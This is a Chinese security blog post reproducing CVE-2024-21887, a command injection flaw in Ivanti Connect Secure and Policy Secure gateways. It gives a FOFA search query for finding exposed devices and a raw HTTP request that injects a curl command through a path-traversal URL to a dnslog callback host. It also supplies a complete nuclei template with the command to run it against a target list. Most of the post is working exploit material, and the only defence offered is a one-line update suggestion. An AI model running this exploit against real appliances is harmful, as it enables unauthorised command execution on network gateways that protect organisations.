[漏洞复现]CVE-2024-21887

admin 2024年1月18日10:05:22评论601 views字数 2206阅读7分21秒阅读模式

01

漏洞名称

ivanti policy secure-22.6命令注入漏洞(CVE-2024-21887)

02

漏洞影响

Ivanti Connect Secure (9.x, 22.x) 和Ivanti Policy Secure (9.x, 22.x)

[漏洞复现]CVE-2024-21887

03

漏洞描述

Ivanti Connect Secure (9.x, 22.x) 和Ivanti Policy Secure (9.x, 22.x) 的web组件中存在命令注入漏洞。未经过身份验证的管理员可以发送特制请求,在设备上执行任意命令。

04

FOFA搜索语句
body="welcome.cgi?p=logo"

[漏洞复现]CVE-2024-21887

05

漏洞复现

注册一个dnslog平台的账号,用于回显,如http://dnslog.pw/dns/?&monitor=true,注册好之后勾选自动刷新选项。

POC数据包如下,路径中的curl%20a4xs0nop.dnslog.pw为请求dns的代码,将其中的地址换成你自己的即可

GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1Host: x.x.x.xx.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36Connection: closeAccept-Encoding: gzip

在DNSlog平台能看到一条访问记录

[漏洞复现]CVE-2024-21887

漏洞复现成功

06

nuclei poc

poc文件内容如下

id: CVE-2024-21887

info:  name: Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) - Command Injection  author: pdresearch,parthmalhotra,iamnoooob  severity: critical  description: A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x)  allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.  reference:    - https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H    cvss-score: 9.1    cve-id: CVE-2024-21887    cwe-id: CWE-77    cpe: cpe:2.3:a:ivanti:connect_secure:9.0:*:*:*:*:*:*:*  metadata:    vendor: ivanti    product: connect_secure    shodan-query: html:"welcome.cgi?p=logo"  tags: cve,cve2024,kev,rce,ivanti

http:  - raw:      - |        GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20{{interactsh-url}} HTTP/1.1        Host: {{Hostname}}

    matchers-condition: and    matchers:      - type: word        part: interactsh_protocol        words:          - "http"

      - type: word        part: header        words:          - 'application/json'

      - type: word        part: body        words:          - '"result":'          - '"message":'        condition: and# digest: 4a0a00473045022100ab17bfbbc711819c8b6309f676ec55c8bf64286aff7a09ee0f916cd8c4d4488002204f743027ff79246dc835029d9bc1b8c8b9721a4bab1c66d4fb00b4e188913243:922c64590222798bb761d5b6d8e72950

运行POC

nuclei.exe  -l data/CVE-2024-21887.txt -t CVE-2024-21887.yaml

[漏洞复现]CVE-2024-21887

07

修复建议

建议您更新当前系统或软件至最新版,完成漏洞的修复。

原文始发于微信公众号(AI与网安):[漏洞复现]CVE-2024-21887

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月18日10:05:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [漏洞复现]CVE-2024-21887https://cn-sec.com/archives/2405325.html

发表评论

匿名网友 填写信息